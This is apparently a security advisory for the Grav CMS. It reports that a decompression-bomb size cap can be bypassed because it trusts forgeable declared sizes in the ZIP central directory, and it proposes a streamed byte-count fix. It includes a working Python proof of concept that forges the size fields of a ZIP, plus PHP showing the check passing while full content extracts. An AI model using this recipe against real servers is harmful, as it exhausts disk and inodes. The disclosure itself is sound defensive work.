Grav: Decompression-bomb size cap bypassed by forged ZIP size in ZipArchiver/Installer

### Summary The decompression-bomb bound added in 2.0.1 (commit 1c1003c) sums `ZipArchive::statIndex($i)['size']` and rejects an archive whose declared uncompressed total exceeds `system.gpm.archive.max_uncompressed_size` (default 1 GiB) before extracting (`ZipArchiver.php:77-86`; same logic in `GPM\Installer::unZip` at `Installer.php:228-238`). `statIndex()['size']` is the uncompressed size declared in the ZIP central directory, which is attacker-forgeable and is not checked against the actual inflated stream. An archive declaring 1 byte per entry passes the cap while `extractTo()` writes the real (large) content. The entry-count and nesting-depth caps count real structure and still hold; only the size dimension is defeated, so the disk-fill / inode-exhaustion case the bound targets is not prevented. Incomplete fix for GHSA-928x-9mpw-8h56. ### Details `extract()`/`unZip()` validate every entry up front, then call `Folder::create` + `extractTo`. The size check is: ```php $totalSize += (int) $stat['size']; // declared central-directory size if ($maxSize > 0 && $totalSize > $maxSize) { ... reject ... } ``` `$stat['size']` is read from the central directory, which the archive author writes. libzip does not cross-check declared-vs-actual size during `extractTo`, so a forged-small value passes the gate and the real stream inflates to disk. The `max_files` (entry count) and `max_depth` (entry-name segments) checks are not forgeable this way. ### PoC Build a 10 KiB deflate ZIP of 10 MiB of zeros, patch both uncompressed-size fields (local header + central directory) to 1: ```python import zipfile, struct data = b'\x00' * (10*1024*1024) with zipfile.ZipFile('bomb.zip','w',zipfile.ZIP_DEFLATED) as z: z.writestr('big.bin', data) raw = bytearray(open('bomb.zip','rb').read()) raw = raw.replace(struct.pack('<I', 10*1024*1024), struct.pack('<I', 1)) open('bomb_forged.zip','wb').write(raw) ``` Drive the exact pre-extraction loop, then extract: ```php $zip = new ZipArchive(); $zip->open('bomb_forged.zip'); $total = 0; for ($i = 0; $i < $zip->count(); $i++) { $total += (int) $zip->statIndex($i)['size']; } // => $total === 1 (what the 1 GiB bound checks: PASSES) $zip->extractTo('/tmp/zout'); // => filesize('/tmp/zout/big.bin') === 10485760 (written despite the cap) ``` Verified on Grav 2.0.1 (6f619f0ae), PHP 8.4.22, libzip 1.7.3. ### Impact A forged archive fills the disk / exhausts inodes during extraction. Reached via `GPM\Installer::unZip` (`gpm install` / `direct-install` / `self-upgrade`) and admin backup restore (`ZipArchiver::extract`). The archive bytes come from a package source or an admin upload, so the actor sits at admin/operator trust and a consented malicious package already has worse primitives. ### Fix `ZipArchiver.php:77-86` and `Installer.php:228-238`: don't trust the declared size. Extract each entry through a counting stream (`ZipArchive::getStream` + `fread` loop) and abort once cumulative written bytes pass `max_uncompressed_size`, leaving nothing on disk; or check on-disk bytes incrementally during extraction. If the pre-pass stays, treat the declared-size sum as advisory and add the streamed byte counter as the real enforcement. `max_files` and `max_depth` remain effective.

Quoted source text, attributed separately from HOL analysis.